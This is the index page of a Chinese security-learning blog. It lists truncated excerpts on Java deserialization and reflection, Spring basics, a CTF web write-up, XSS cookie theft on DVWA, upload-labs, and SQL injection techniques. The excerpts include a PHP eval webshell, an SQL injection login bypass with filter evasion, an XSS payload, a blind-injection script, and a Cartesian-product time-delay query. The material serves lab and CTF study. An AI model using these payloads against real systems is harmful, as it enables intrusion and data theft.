欢迎来到ycycyc的博客!

URLDNS链

官方的利用链HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode() 复现(分析)我们先跟到HashMap类中 找到HashMap的readObject()方法 可以看到这里调用了hash方法,跟进一下这个hash方法 可以看到这里还调用了一个hashcode方法,这里先保留一下。 这里再跟进一下URL,在URL类里面找到一个常见的函数:hashcode函数 跟进这个hashCode函数发现,发现这里调用了handler里面的hashcode函数,继续跟进 关键就是这里调用了一个getHost...

JAVA反射

理解有反射就必然有正射。 正射 编写代码的额时候,当我们需要使用一个类的时候,先要了解这个类是做什么的。然后实例化这个类,接着用实例化好的对象进行操作,这就是正射。如下: Student student = new Student(); student.doHomework("数学"); 反射 反射就是一开始不知道我们要初始化的类的对象是什么,也就无法使用new关键字来创建对象了。 Class clazz = Class.forName("reflection.Student"); Method method = clazz.getMethod("doHomework", String.c...

JAVA序列化和反序列化

JAVA的序列化和反序列化概述1.概念 Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。 序列化是将数据分解为字节流,一边存储在文件中或者是在网络上面传播;反序列化则是打开字节流并重构对象。 2.为什么需要JAVA的序列化和反序列化 两个JAVA进程之间想要实现进程间对象的传输,就需要用到JAVA的序列化和反序列化。 简单说就是: 发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。 3.JAVA的序列化和反序列的一些应用的场景: 将内存中的对象把保存在一个文件或者是一...

Spring基础

Spring什么是spring?Java开发的一个分层的全栈轻量级的开发框架,以loC(反转控制)和AOP(面向切面编程)为内核。 提供了web层的SpringMVC和持久层的Spring JDBCT模板 spring程序开发步骤在之前的开发中的开发过程 要在业务方法的内部调用一个对象,调用方法就是直接new对象,使用一个接口去具体的接受一个对象的实现。 上面是利用Spring框架去调用对象的大致的步骤,有一个作用就是方便解耦。 1.导入Spring开发包的基本包的坐标 2.编写Dao接口和实现类 3.创建Spring的核心配置文件(xml) 4.在Spring配置文件中配置UserDao...

2025HNCTF-web复现

半成品login尝试弱密码进行登录 admin/admin123,成功登录后台 根据提示这个后台并不能得到有用的信息 尝试进行sql注入随意输入一个账号和密码登录并进行抓包,得到一下的数据包 尝试构造sql注入,发现密码的位置存在sql注入 经过测试发现对单引号和or关键字进行了过滤 单引号可以使用双编码绕过,%2527,or关键字可以使用||进行替换 出入成功,payload为 username=admin&password=1%2527||1=1# 发现是存在回显的,尝试适应oder by语句查看回显的列数 username&#x3D...

XSS漏洞的两个具体的利用方式

1.窃取网页浏览中的cookie值用户登陆完成之后,网页一般会返回一个cookie值,相当于一个令牌可以直接进行登陆。 如果想要通过script脚本获得当前页面的cookie值,通常会用到cookie。 具体攻击: 靶场实践DVWA 等级low 尝试输入最简单的弹窗payload <script>alert(/xss/)</script> 弹窗成功 查看源码 <?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exist...

upload-labs全详解

upload-1(扩展名)直接上传一句话木马 <?php @eval($_POST['cmd']);?> 可知被js拦截了 这里存在两种解法 一.直接在浏览器中禁用js 二.将文件名更改为cj.png,上传抓包,在重放中将文件后缀名更改为cj.php,再进行发包。 返回靶场的页面,复制上传的文件的链接,打开蚁剑,输入上面复制的链接打开蚁剑,粘贴网址,输入密码 核心的源码如下: var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file....

SQL注入脚本

布尔盲注脚本跑出数据库名称 分析这个脚本应该有的结构:1.定义一个变量(输入目标的url) 2.获取数据库长度的函数 3.获取数据库名称的函数 4.主程序的入口 import requests url="xxxxx" def get_length(): for i in range(10): payloasd1="?id=1%27%20and%20(length(database()))%20=%20{}%20-- +".forma(i) #拼接进url进行访问测试,不进行url进行解析的话可能会出现服务器无法解析的情况 ...

笛卡尔积-时间盲注

笛卡尔积原理:连接表是一个很耗时的操作(A×B=A和B中每个元素的组合所组成的集合,就是连接表) SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; 靶场实践(sqli-9) ?id=1 ' and if(length((select database()))>7,(select count(*) from information_schema.columns A,information_sc...

Quine

简介Quine又叫做自产生程序,在sql注入技术中,这是一种是的输入的SQL 语句与输出的SQL语句一致的技术,常用于一些特殊的登陆绕过sql注入中。 实践 function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertM...